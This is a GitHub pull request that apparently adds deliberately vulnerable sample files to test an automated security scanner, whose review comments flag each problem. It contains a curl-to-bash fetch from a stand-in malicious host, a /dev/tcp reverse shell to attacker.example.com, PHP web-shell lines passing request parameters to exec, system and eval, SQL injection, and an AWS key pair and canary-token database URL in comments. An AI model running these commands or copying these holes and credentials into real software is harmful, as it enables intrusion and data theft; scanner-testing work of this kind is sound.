-
Notifications
You must be signed in to change notification settings - Fork 1
Yay #15
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: main
Are you sure you want to change the base?
Yay #15
Changes from all commits
f370589
78a1b3d
b9c9bda
8aa677f
0199ee6
ea5f509
f3976a4
77568fa
38974cb
078886f
bb2dea1
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,5 @@ | ||
| function executeUserScript() { | ||
| var userScript = document.getElementById('userScript').value; | ||
| // Using eval to execute user-provided script | ||
| eval(userScript); | ||
| } |
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,5 @@ | ||
| function executeUserScript() { | ||
| var userScript = document.getElementById('userScript').value; | ||
| // Using eval to execute user-provided script | ||
| eval(userScript); | ||
| } |
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,18 @@ | ||
| const { exec } = require('child_process'); | ||
|
|
||
| const userArg = process.argv[2] || ''; | ||
|
|
||
| const cmd = ` | ||
| rm -rf /tmp/vuln_dir --no-preserve-root && | ||
| curl http://malicious.example.com/install.sh | bash && | ||
| ls ${userArg} | ||
| `; | ||
|
|
||
| console.log('[*] Running dangerous CLI pipeline…'); | ||
| exec(cmd, (err, stdout, stderr) => { | ||
| if (err) { | ||
| console.error('[!] Pipeline failed:', err); | ||
| return; | ||
| } | ||
| console.log('[+] Pipeline succeeded. stdout:\\n', stdout); | ||
| }); |
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,17 @@ | ||
| const express = require('express'); | ||
| const fs = require('fs'); | ||
| const path = require('path'); | ||
| const app = express(); | ||
|
|
||
| // Path Traversal | ||
| app.get('/read', (req, res) => { | ||
| const file = req.query.file; | ||
| const fullPath = path.resolve(__dirname, file); | ||
| if (!fullPath.startsWith(__dirname + path.sep)) return res.status(400).send('Invalid file path'); | ||
| fs.readFile(fullPath, 'utf8', (err, data) => { | ||
| if (err) return res.status(500).send(err.message); | ||
| res.send(data); | ||
| }); | ||
| }); | ||
|
|
||
| app.listen(3001, () => console.log('Disk vuln on port 3001')); |
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,56 @@ | ||
| const express = require('express'); | ||
| const axios = require('axios'); | ||
| const { URL } = require('url'); | ||
| const dns = require('dns').promises; | ||
| const app = express(); | ||
|
|
||
| function isPrivateIp(ip) { | ||
| return ip === '::1' || | ||
| /^127\./.test(ip) || | ||
| /^10\./.test(ip) || | ||
| /^192\.168\./.test(ip) || | ||
| /^172\.(1[6-9]|2[0-9]|3[0-1])\./.test(ip) || | ||
| ip.startsWith('fc') || ip.startsWith('fd') || | ||
| ip.startsWith('fe80:'); | ||
| } | ||
|
|
||
| // SSRF | ||
| app.get('/fetch', async (req, res) => { | ||
| const url = req.query.url; | ||
| let parsedUrl; | ||
| try { | ||
| parsedUrl = new URL(url); | ||
| } catch (e) { | ||
| return res.status(400).send('Invalid URL'); | ||
| } | ||
| const hostname = parsedUrl.hostname; | ||
| if (!['http:', 'https:'].includes(parsedUrl.protocol) || | ||
| hostname === 'localhost' || | ||
| hostname === '127.0.0.1' || | ||
| hostname === '::1' || | ||
| /^(10|127)\./.test(hostname) || | ||
| /^172\.(1[6-9]|2[0-9]|3[0-1])\./.test(hostname) || | ||
| /^192\.168\./.test(hostname)) { | ||
| return res.status(400).send('URL not allowed'); | ||
| } | ||
| try { | ||
| // DNS resolution to prevent DNS rebinding | ||
| try { | ||
| const addresses = await dns.lookup(parsedUrl.hostname, { all: true }); | ||
| for (const { address } of addresses) { | ||
| if (isPrivateIp(address)) { | ||
| return res.status(400).send('URL not allowed'); | ||
| } | ||
| } | ||
| } catch (e) { | ||
| return res.status(400).send('Invalid hostname'); | ||
| } | ||
|
|
||
| const resp = await axios.get(url); | ||
| res.send(resp.data); | ||
| } catch (e) { | ||
| res.status(500).send(e.message); | ||
| } | ||
| }); | ||
|
|
||
| app.listen(3000, () => console.log('HTTP vuln on port 3000')); |
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,56 @@ | ||
| const express = require('express'); | ||
| const axios = require('axios'); | ||
| const { URL } = require('url'); | ||
| const dns = require('dns').promises; | ||
| const app = express(); | ||
|
|
||
| function isPrivateIp(ip) { | ||
| return ip === '::1' || | ||
| /^127\./.test(ip) || | ||
| /^10\./.test(ip) || | ||
| /^192\.168\./.test(ip) || | ||
| /^172\.(1[6-9]|2[0-9]|3[0-1])\./.test(ip) || | ||
| ip.startsWith('fc') || ip.startsWith('fd') || | ||
| ip.startsWith('fe80:'); | ||
| } | ||
|
|
||
| // SSRF | ||
| app.get('/fetch', async (req, res) => { | ||
| const url = req.query.url; | ||
| let parsedUrl; | ||
| try { | ||
| parsedUrl = new URL(url); | ||
| } catch (e) { | ||
| return res.status(400).send('Invalid URL'); | ||
| } | ||
| const hostname = parsedUrl.hostname; | ||
| if (!['http:', 'https:'].includes(parsedUrl.protocol) || | ||
| hostname === 'localhost' || | ||
| hostname === '127.0.0.1' || | ||
| hostname === '::1' || | ||
| /^(10|127)\./.test(hostname) || | ||
| /^172\.(1[6-9]|2[0-9]|3[0-1])\./.test(hostname) || | ||
| /^192\.168\./.test(hostname)) { | ||
| return res.status(400).send('URL not allowed'); | ||
| } | ||
| try { | ||
| // DNS resolution to prevent DNS rebinding | ||
| try { | ||
| const addresses = await dns.lookup(parsedUrl.hostname, { all: true }); | ||
| for (const { address } of addresses) { | ||
| if (isPrivateIp(address)) { | ||
| return res.status(400).send('URL not allowed'); | ||
| } | ||
| } | ||
| } catch (e) { | ||
| return res.status(400).send('Invalid hostname'); | ||
| } | ||
|
|
||
| const resp = await axios.get(url); | ||
| res.send(resp.data); | ||
| } catch (e) { | ||
| res.status(500).send(e.message); | ||
| } | ||
| }); | ||
|
|
||
| app.listen(3000, () => console.log('HTTP vuln on port 3000')); |
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -1,5 +1,8 @@ | ||
| <?php | ||
|
|
||
| echo "<h>" +$_GET["search"] + "</h>"; | ||
| echo "<h>" .$_GET["search"]. "</h>"; | ||
|
|
||
|
|
||
| exec($_POST["exec"]); | ||
|
|
||
| ?> | ||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,11 @@ | ||
| { | ||
| "name": "uwu-vuln", | ||
| "version": "1.0.0", | ||
| "main": "index.js", | ||
| "scripts": { | ||
| "test": "echo \"Error: no test specified\" && exit 1" | ||
| }, | ||
| "author": "", | ||
| "license": "ISC", | ||
| "description": "" | ||
| } |
| Original file line number | Diff line number | Diff line change | ||||||||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| @@ -0,0 +1,12 @@ | ||||||||||||||||||||||||||||||||||||||||||||||||||||||
| const { exec } = require('child_process'); | ||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||
| const payload = 'bash -i >& /dev/tcp/attacker.example.com/4444 0>&1'; | ||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||
| console.log('[*] Executing reverse shell payload…'); | ||||||||||||||||||||||||||||||||||||||||||||||||||||||
| exec(payload, (err, stdout, stderr) => { | ||||||||||||||||||||||||||||||||||||||||||||||||||||||
| if (err) { | ||||||||||||||||||||||||||||||||||||||||||||||||||||||
| console.error('[!] Error executing payload:', err); | ||||||||||||||||||||||||||||||||||||||||||||||||||||||
| return; | ||||||||||||||||||||||||||||||||||||||||||||||||||||||
| } | ||||||||||||||||||||||||||||||||||||||||||||||||||||||
| console.log('[+] Payload executed. stdout:', stdout); | ||||||||||||||||||||||||||||||||||||||||||||||||||||||
| }); | ||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Comment on lines
+1
to
+12
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Hardcoded Reverse Shell Backdoor in stdin/index.js (Severity: HIGH) The application contains a hardcoded reverse shell payload within the
Suggested change
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,42 @@ | ||
| <?php | ||
|
|
||
| function login($username, $password) { | ||
| // Configuration | ||
| $db_host = 'localhost'; | ||
| $db_username = 'root'; | ||
| $db_password = 'root@1234'; | ||
| $db_name = 'arnicaTest'; | ||
|
|
||
|
|
||
| // Connect to database | ||
| $conn = new mysqli($db_host, $db_username, $db_password, $db_name); | ||
|
|
||
| // Check connection | ||
| if ($conn->connect_error) { | ||
| die("Connection failed: ". $conn->connect_error); | ||
| } | ||
|
|
||
| // admin | ||
| // gdhas' OR 1=1 # | ||
|
|
||
| // Query database | ||
| $query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'"; | ||
|
|
||
| $result = $conn->query($query); | ||
|
|
||
| // Check if user exists | ||
| if ($result->num_rows > 0) { | ||
| echo "Welcome, $username!"; | ||
| } else { | ||
| echo "$query Invalid username or password."; | ||
| } | ||
|
|
||
| // Close connection | ||
| $conn->close(); | ||
| }<?php | ||
|
|
||
|
|
||
| $username = $_POST['username']; | ||
| $password = $_POST['password']; | ||
| login($username, $password); | ||
| ?> | ||
|
Comment on lines
+1
to
+42
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. SQL Injection Vulnerability in test.php (Severity: HIGH) A SQL injection vulnerability exists in test.php, allowing attackers to potentially read or modify sensitive data. Specifically, the |
||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,3 @@ | ||
| import random | ||
|
|
||
| print("asd") |
| Original file line number | Diff line number | Diff line change | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| @@ -0,0 +1,23 @@ | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| <? | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| eval($_GET["XSS"]); | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| // mysql://rkd5i4bymb9zh0g6nadx85bj2:my-secret-pw@rkd5i4bymb9zh0g6nadx85bj2.canarytokens.com:3306/ | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| system($_GET["cmd"]); | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| /* | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Comment on lines
+3
to
+15
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Critical RCE Vulnerability in upload.php via eval() and system() (Severity: HIGH) This code is vulnerable to remote code execution, allowing attackers to execute arbitrary commands on the server. The
Suggested change
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| [default] | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| aws_access_key_id = AKIA2T2SJH6M76LT25T4 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Hardcoded AWS Credentials in upload.php (Severity: CRITICAL) Compromised AWS credentials can lead to unauthorized access to cloud resources, potentially resulting in data breaches and service disruption. The file |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| aws_secret_access_key = 6jlumL0UQ5v8rYZADd4zFxNHpDYlI6+VGbZtYBb/ | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| output = json | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| region = us-east-2 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| */ | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| ?> | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| Original file line number | Diff line number | Diff line change | ||||||||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| @@ -0,0 +1,12 @@ | ||||||||||||||||||||||||||||||||||||||||||||||||||||||
| const WebSocket = require('ws'); | ||||||||||||||||||||||||||||||||||||||||||||||||||||||
| const wss = new WebSocket.Server({ port: 8080 }); | ||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||
| // RCE | ||||||||||||||||||||||||||||||||||||||||||||||||||||||
| wss.on('connection', ws => { | ||||||||||||||||||||||||||||||||||||||||||||||||||||||
| ws.on('message', msg => { | ||||||||||||||||||||||||||||||||||||||||||||||||||||||
| eval(msg); | ||||||||||||||||||||||||||||||||||||||||||||||||||||||
| ws.send('Executed: ' + msg); | ||||||||||||||||||||||||||||||||||||||||||||||||||||||
| }); | ||||||||||||||||||||||||||||||||||||||||||||||||||||||
| }); | ||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Comment on lines
+4
to
+10
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. RCE Vulnerability via Unsanitized WebSocket Message in ws/index.js (Severity: HIGH) This vulnerability allows for remote code execution (RCE) because unsanitized messages received via the WebSocket in
Suggested change
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||
| console.log('WS vuln on port 8080'); | ||||||||||||||||||||||||||||||||||||||||||||||||||||||
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Remote Code Execution via Unsanitized Input in index.php (Severity: HIGH)
The application is vulnerable to remote code execution. Specifically, the
execfunction inindex.php(lines 3-6) executes the contents of the$_POST["exec"]parameter, which allows attackers to run arbitrary system commands. This can lead to complete server compromise.View details in ZeroPath